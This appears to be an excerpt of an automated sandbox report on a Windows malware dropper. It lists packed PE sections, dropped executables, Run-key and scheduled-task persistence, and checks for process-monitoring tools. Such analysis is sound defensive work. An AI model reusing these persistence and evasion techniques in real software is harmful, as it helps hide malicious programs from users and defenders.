Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Unpacked PE file: 9.2.194fcc03d1.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hnbmjddz:EW;fhrijgtr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hnbmjddz:EW;fhrijgtr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Unpacked PE file: 10.2.c9ac8940e6.exe.9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;quzinlov:EW;yfhksbgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;quzinlov:EW;yfhksbgg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Unpacked PE file: 31.2.194fcc03d1.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hnbmjddz:EW;fhrijgtr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hnbmjddz:EW;fhrijgtr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Unpacked PE file: 34.2.df975f4fc1.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;xnvlzrcj:EW;qpgaermy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Unpacked PE file: 48.2.df975f4fc1.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;xnvlzrcj:EW;qpgaermy:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2F75B0 LoadLibraryW,GetProcAddress,FreeLibrary,

9_2_6D2F75B0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x42ac1a should be: 0x433254
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1bb4db should be: 0x1b0156
Source: df975f4fc1.exe.6.dr	Static PE information: real checksum: 0x2be11f should be: 0x2be70f
Source: f398072083.exe.6.dr	Static PE information: real checksum: 0x42ac1a should be: 0x433254
Source: file.exe	Static PE information: real checksum: 0x1c7ea6 should be: 0x1d677a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1c7ea6 should be: 0x1d677a
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1cec20 should be: 0x1ca8fd
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2be11f should be: 0x2be70f
Source: c9ac8940e6.exe.6.dr	Static PE information: real checksum: 0x1cec20 should be: 0x1ca8fd
Source: 194fcc03d1.exe.6.dr	Static PE information: real checksum: 0x1bb4db should be: 0x1b0156

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ewxlggpv
Source: file.exe	Static PE information: section name: agnuswsr
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: ewxlggpv
Source: skotes.exe.0.dr	Static PE information: section name: agnuswsr
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: ppsazxmd
Source: random[1].exe.6.dr	Static PE information: section name: jngonnpx
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: f398072083.exe.6.dr	Static PE information: section name:
Source: f398072083.exe.6.dr	Static PE information: section name: .rsrc
Source: f398072083.exe.6.dr	Static PE information: section name: .idata
Source: f398072083.exe.6.dr	Static PE information: section name:
Source: f398072083.exe.6.dr	Static PE information: section name: ppsazxmd
Source: f398072083.exe.6.dr	Static PE information: section name: jngonnpx
Source: f398072083.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: quzinlov
Source: random[1].exe0.6.dr	Static PE information: section name: yfhksbgg
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: xnvlzrcj
Source: random[2].exe.6.dr	Static PE information: section name: qpgaermy
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: c9ac8940e6.exe.6.dr	Static PE information: section name:
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: .idata
Source: c9ac8940e6.exe.6.dr	Static PE information: section name:
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: quzinlov
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: yfhksbgg
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: hnbmjddz
Source: random[1].exe1.6.dr	Static PE information: section name: fhrijgtr
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 194fcc03d1.exe.6.dr	Static PE information: section name:
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: .idata
Source: 194fcc03d1.exe.6.dr	Static PE information: section name:
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: hnbmjddz
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: fhrijgtr
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: .taggant
Source: df975f4fc1.exe.6.dr	Static PE information: section name:
Source: df975f4fc1.exe.6.dr	Static PE information: section name: .idata
Source: df975f4fc1.exe.6.dr	Static PE information: section name: xnvlzrcj
Source: df975f4fc1.exe.6.dr	Static PE information: section name: qpgaermy
Source: df975f4fc1.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EDC329 pushfd ; retf 0004h	9_2_61EDC32A
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EDA2A8 push ds; retf	9_2_61EDA2AE
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2CB536 push ecx; ret	9_2_6D2CB549

Source: file.exe	Static PE information: section name: entropy: 7.978678051292189
Source: file.exe	Static PE information: section name: ewxlggpv entropy: 7.952900488782757
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.978678051292189
Source: skotes.exe.0.dr	Static PE information: section name: ewxlggpv entropy: 7.952900488782757
Source: random[1].exe.6.dr	Static PE information: section name: ppsazxmd entropy: 7.955106329484427
Source: f398072083.exe.6.dr	Static PE information: section name: ppsazxmd entropy: 7.955106329484427
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.985173687413615
Source: random[1].exe0.6.dr	Static PE information: section name: quzinlov entropy: 7.953033668684895
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.7590050832028155
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: entropy: 7.985173687413615
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: quzinlov entropy: 7.953033668684895
Source: random[1].exe1.6.dr	Static PE information: section name: hnbmjddz entropy: 7.954657445334715
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: hnbmjddz entropy: 7.954657445334715
Source: df975f4fc1.exe.6.dr	Static PE information: section name: entropy: 7.7590050832028155

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df975f4fc1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 194fcc03d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9ac8940e6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6d2b6a8d0b.exe	Jump to behavior

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9ac8940e6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c9ac8940e6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 194fcc03d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 194fcc03d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6d2b6a8d0b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6d2b6a8d0b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df975f4fc1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run df975f4fc1.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Code function: 9_2_6D2F55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_6D2F55F0

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	Process information set: NOOPENFILEERRORBOX
